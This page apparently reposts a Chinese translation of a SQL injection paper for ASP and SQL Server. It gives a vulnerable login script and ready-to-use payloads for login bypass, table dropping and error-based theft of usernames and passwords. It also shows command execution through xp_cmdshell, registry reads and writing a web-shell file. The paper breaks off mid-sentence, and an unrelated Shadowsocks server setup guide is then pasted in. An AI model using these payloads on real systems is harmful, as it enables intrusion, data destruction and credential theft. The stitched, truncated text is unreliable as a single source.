这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:' having 1=1—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误,相当于:
select * from users where username=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username:' union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username:' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
Username:' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:'; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用'bulk insert'语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Exec master..xp_cmdshell 'dir'
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
在正常的方式下,这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc 'xp_webserver'
[将文本文件导入表]
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
· 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的
参考资料:http://www.oia.com.cn/edu/program/vc/vc10/200601/10944.html
vps搭建***无法连接
使用命令安装。
Debian/Ubuntu:
apt-get install python-pip
pip install shadowsocks
CentOS:
yum install python-setuptools && easy_install pip
pip install shadowsocks
优化Shadowsocks性能
在终端通过ssh连上vps(Windows可以用putty连,Mac直接在终端就可以了)
在终端输入vi /etc/sysctl.d/local.conf
创建配置文件
按i插入
插入以下内容
# max open files
fs.file-max = 1024000
# max read buffer
net.core.rmem_max = 67108864
# max write buffer
net.core.wmem_max = 67108864
# default read buffer
net.core.rmem_default = 65536
# default write buffer
net.core.wmem_default = 65536
# max processor input queue
net.core.netdev_max_backlog = 4096
# max backlog
net.core.somaxconn = 4096
# resist SYN flood attacks
net.ipv4.tcp_syncookies = 1
# reuse timewait sockets when safe
net.ipv4.tcp_tw_reuse = 1
# turn off fast timewait sockets recycling
net.ipv4.tcp_tw_recycle = 0
# short FIN timeout
net.ipv4.tcp_fin_timeout = 30
# short keepalive time
net.ipv4.tcp_keepalive_time = 1200
# outbound port range
net.ipv4.ip_local_port_range = 10000 65000
# max SYN backlog
net.ipv4.tcp_max_syn_backlog = 4096
# max timewait sockets held by system simultaneously
net.ipv4.tcp_max_tw_buckets = 5000
# TCP receive buffer
net.ipv4.tcp_rmem = 4096 87380 67108864
# TCP write buffer
net.ipv4.tcp_wmem = 4096 65536 67108864
# turn on path MTU discovery
net.ipv4.tcp_mtu_probing = 1
# for high-latency network
net.ipv4.tcp_congestion_control = hybla
# forward ivp4
net.ipv4.ip_forward = 1
然后按Esc退出编辑,按shift+:,输入wq,回车,就保存退出了。
配置生效:sysctl --system
配置多用户
如果想多用户使用的话就需要更改配置。
首先通过ssh连上vps
在终端输入vi /etc/shadowsocks.json创建配置文件
按i插入
插入以下内容(用户数任意,注意最后一个用户密码后面没有逗号)
{
"server":"my_server_ip", #填入你的IP地址
"local_address": "127.0.0.1",
"local_port":1080,
"port_password": {
"8381": "foobar1", #端口号,密码
"8382": "foobar2",
"8383": "foobar3",
"8384": "foobar4"
},
"timeout":300,
"method":"aes-256-cfb",
"fast_open": false
}
Explanation of the fields(配置说明):
Name
Explanation
server the address your server listens
server_port server port
local_address the address your local listens
local_port local port
password password used for encryption
timeout in seconds
method default: “aes-256-cfb”, see Encryption
fast_open use TCP_FASTOPEN, true / false
workers number of workers, available on Unix/Linux
然后按Esc退出编辑,按shift+:,输入wq,回车,就保存退出了。
现在就可以启动了,有两种方式启动,前端和后端。
前端启动:ssserver -c /etc/shadowsocks.json;
后端启动:ssserver -c /etc/shadowsocks.json -d start;
停止:ssserver -c /etc/shadowsocks.json -d stop;
重启(修改配置要重启才生效):ssserver -c /etc/shadowsocks.json -d restart
设置开机启动
在终端输入vi /etc/rc.local,
把里面最后的带有ssserver的一大段默认的代码删除掉,
再把ssserver -c /etc/shadowsocks.json -d start加进去,
按wq保存退出。
到此就配置好了,试试多用户运行吧!
转载请注明出处51数据库 » foobarpassword 有关口令